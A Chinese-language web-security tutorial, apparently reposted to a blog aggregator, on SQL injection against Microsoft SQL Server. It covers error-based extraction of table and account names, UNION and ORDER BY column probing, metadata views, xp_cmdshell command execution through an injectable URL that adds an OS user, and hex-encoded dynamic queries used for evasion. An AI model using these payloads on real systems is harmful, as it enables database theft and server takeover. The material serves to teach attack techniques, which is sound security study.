[web安全] SQL注入之SQLServer

来源:互联网 发布:注册会计师待遇 知乎 编辑:程序博客网 时间:2024/05/16 18:20
攻击者对数据库注入,利用方式可以归为以下几大类:查询数据;读写文件;执行命令

一、利用错误消息提取信息
1.1 枚举当前表及列

执行select * from users where username='root' and password='root' having 1=1 --'
SQL执行器将抛出一个错误:
消息8120,级别16,状态1,第2行
选择列表中的列“users.id”无效,因为该列没有包含在聚合函数或GROUP BY子句中。

可以发现当前表名为“users”,并且存在“ID”列名,攻击者可以通过此特性继续得到其他列名
select * from users where username='root' and password='root' group by users.id having 1=1 --'
执行器错误提示:
消息8120,级别16,状态1,第1行
选择列表中的列“users.username”无效,因为该列没有包含在聚合函数或GROUP BY子句中。


1.2 利用数据类型错误提取数据
select * from users where username='root' and password='root' and 1 > (select top 1 username from users)
执行器错误提示:
消息245,级别16,状态1,第2行
在将varchar值“root”转换成数据类型int时失败

可以发现root帐户已经被SQL Server给“出卖”了,利用此方法可以递归推导出所有的帐户信息。

二、获取元数据
SQL Server提供了大量试图,便于取得元数据。
取得当前数据库表:
SELECT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES
取得Student表字段:
SELECT COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS where TABLE_NAME='Student'
还有其他一些常用的系统数据库试图:sys.databases ; sys.sql_logins ; sys.all_columns ; sys.database_principals ; sys.database_files ; sysobjects

三、Order by子句
select id,username,password from users where id=1 :SQL执行正常
select id,username,password from users where id=1 Order by 1 :按照第一列排序,SQL执行正常。
select id,username,password from users where id=1 Order by 2 :按照第二列排序,SQL执行正常。
select id,username,password from users where id=1 Order by 3 :按照第三列排序,SQL执行正常。
select id,username,password from users where id=1 Order by 4 :抛出如下异常。
消息108,级别16,状态1,第1行
ORDER BY位置号4超出了选择列表中项数的范围。

得知SQL语句总共有3列。

四、UNION查询
UNION关键字将两个或更多个查询结果组合为单个结果集,俗称联合查询。
有两个基本规则:所有查询中的列数必须相同;数据类型必须兼容。
4.1 联合查询探测字段数
递归查询,知道无错误产生,可得知User表查询的字段数:
union select null,null
union select null,null,null
也有人喜欢使用select 1,2,3语句,不过该语句容易出现类型不兼容的异常。
4.2 联合查询敏感信息
如果得知列数为4,可以使用以下语句继续注入
id=5 union select 'x',null,null,null from sysobject where xtype='U'
递归更换x的位置,直到语句执行正常,代表数据类型兼容,就可以将x换为SQL语句,查询敏感信息。
备注:UNION和UNION ALL最大的区别在于UNION会自动去除重复的数据,并且按照默认规则排序。

五、函数
SQL Server提供了非常多的系统函数,利用该系统函数可以访问SQL Server系统表中的信息,而无须使用SQL语句查询。
例如,select db_name():返回数据库名称

六、危险的存储过程
存储过程(Stored Procedure)是在大型数据库系统中为了完成特定功能的一组SQL“函数”,如:执行系统命令,查看注册表,读取磁盘目录等。
攻击者最常使用的存储过程是“xp_cmdshell”,这个存储过程允许用户执行操作系统命令。
例如:http://www.secbug.org/test.aspx?id=1存在注入点,那么攻击者就可以实施命令攻击:
http://www.secbug.org/test.aspx?id=1;exec xp_cmdshell 'net user test test /add'
最终执行SQL语句如下:
select * from table where id=1; exec xp_cmdshell 'net user test test /add'
攻击者可以直接利用xp_cmdshell操纵服务器。

注:并不是任何数据库用户都可以使用此类存储过程,用户必须持有 CONTROL SERVER权限。

存储过程仅存在于MSSQL和Oracle中,MySQL中类似的功能是UDF。


七、动态执行
SQL Server支持动态执行语句,用户可以提交一个字符串来执行SQL语句。
exec('select username,password from users')
也可以通过定义十六进制的SQL语句,使用exec函数执行。
declare @query varchar(888)
select @query=0x73656c6563742031
exec(@query)





0 0
原创粉丝点击